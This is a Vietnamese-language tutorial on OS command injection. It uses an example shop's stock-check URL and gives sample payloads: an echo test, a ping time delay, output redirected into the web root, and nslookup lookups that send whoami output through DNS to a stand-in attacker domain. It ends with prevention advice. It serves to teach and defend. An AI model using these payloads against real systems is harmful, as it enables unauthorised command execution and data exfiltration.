Command Injection
Last updated
Còn gọi là shell injection. Nó cho phép kẻ tấn công thực thi OS command trên server chạy ứng dụng và thường xâm phạm hoàn toàn ứng dụng và dữ liệu của ứng dụng, mở hơn là xâm phạm các phần khác của cơ sở hạ tầng lưu trữ và khai thác các mối quan hệ tin cậy để chuyển hướng cuộc tấn công sang các hệ thống khác trong tổ chức.
Trong ví dụ này, ứng dụng mua sắm cho phép người dùng xem liệu một mặt hàng có còn hàng trong một cửa hàng cụ thể hay không. Thông tin này được truy cập thông qua URL:
https://insecure-website.com/stockStatus?productID=381&storeID=29
Để cung cấp thông tin về kho, ứng dụng gọi lệnh shell với ID sản phẩm và ID cửa hàng làm đối số:
stockreport.pl 381 29
Lệnh này đưa ra trạng thái kho của mặt hàng được chỉ định và trả về cho người dùng.
Ứng dụng không triển khai bất kỳ biện pháp phòng thủ nào chống lại việc chèn lệnh hệ điều hành, do đó kẻ tấn công có thể gửi dữ liệu đầu vào sau để thực thi lệnh tùy ý:
& echo aiwefwlguh &
Nếu đầu vào này được gửi trong tham sốproductID
, lệnh được ứng dụng thực thi là:
stockreport.pl & echo aiwefwlguh & 29
Lệnh này echo
khiến chuỗi được cung cấp được lặp lại trong đầu ra. Đây là một cách hữu ích để kiểm tra một số loại lệnh OS injection. Ký &
tự này là một dấu phân cách lệnh shell. Trong ví dụ này, nó khiến ba lệnh riêng biệt được thực thi, lần lượt từng lệnh một. Đầu ra trả về cho người dùng là:
Error - productID was not provided
aiwefwlguh
29: command not found
Ba dòng kết quả đầu ra chứng minh rằng:
Lệnh gốc stockreport.pl
được thực thi mà không có các đối số mong đợi, do đó trả về thông báo lỗi.
Lệnh được đưa vào echo
đã được thực thi và chuỗi được cung cấp sẽ được hiển thị ở đầu ra.
Đối số ban đầu 29
được thực thi
Đặt dấu phân cách lệnh bổ sung &
sau lệnh inject rất hữu ích vì nó tách lệnh inject khỏi bất kỳ lệnh nào theo sau điểm inject. Điều này làm giảm khả năng lệnh inject sẽ không được thực thi.
Ứng dụng không trả về đầu ra từ lệnh trong phản hồi HTTP của nó.
Có thể sử dụng lệnh inject để kích hoạt thời gian trễ, cho phép xác nhận lệnh đã được thực thi dựa trên thời gian ứng dụng phản hồi. Ví dụ:
& ping -c 10 127.0.0.1 &
Lệnh này khiến ứng dụng ping loopback network adapter trong 10 giây.
Có thể huyển hướng đầu ra từ lệnh được tiêm vào một tệp trong web root mà sau đó có thể truy xuất bằng trình duyệt. Ví dụ: nếu ứng dụng phục vụ tài nguyên tĩnh từ vị trí hệ thống tệp /var/www/static
, thì bạn có thể gửi đầu vào sau:
& whoami > /var/www/static/whoami.txt &
Ký >
tự gửi đầu ra từ whoami
lệnh đến tệp được chỉ định. Sau đó, bạn có thể sử dụng trình duyệt để lấy https://vulnerable-website.com/whoami.txt
tệp và xem đầu ra từ lệnh đã chèn.
& nslookup kgji2ohoyw.web-attacker.com &
Tải trọng này sử dụng nslookup
lệnh để gây ra tra cứu DNS cho tên miền được chỉ định. Kẻ tấn công có thể theo dõi để xem tra cứu có xảy ra hay không, để xác nhận xem lệnh đã được tiêm thành công hay chưa.
Kênh ngoài băng tần cung cấp một cách dễ dàng để lọc đầu ra từ các lệnh được đưa vào:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
Điều này khiến DNS tìm kiếm tên miền của kẻ tấn công có chứa kết quả của whoami
lệnh:
wwwuser.kgji2ohoyw.web-attacker.com
Cách hiệu quả nhất để ngăn chặn các lỗ hổng OS command injection là tránh gọi trực tiếp các lệnh hệ điều hành từ mã lớp ứng dụng. Trong hầu hết các trường hợp, bạn có thể triển khai chức năng yêu cầu bằng cách sử dụng các API an toàn hơn của nền tảng.
Nếu bắt buộc phải gọi các lệnh hệ điều hành với đầu vào do người dùng cung cấp, bạn nên thực hiện việc kiểm tra và xác thực đầu vào mạnh mẽ. Một số ví dụ về xác thực hiệu quả bao gồm:
Xác thực dựa trên danh sách các giá trị được phép (whitelist).
Xác thực đầu vào là số (numeric validation).
Xác thực đầu vào chỉ chứa các ký tự chữ và số, không có ký tự đặc biệt hoặc khoảng trắng.
Không nên cố gắng làm sạch đầu vào bằng cách thoát các ký tự đặc biệt của shell. Trong thực tế, điều này rất dễ mắc lỗi và dễ bị vượt qua bởi các hacker có kỹ năng.
Bạn có thể sử dụng lệnh được tiêm mã kích hoạt tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát, bằng cách sử dụng các kỹ thuật . Ví dụ: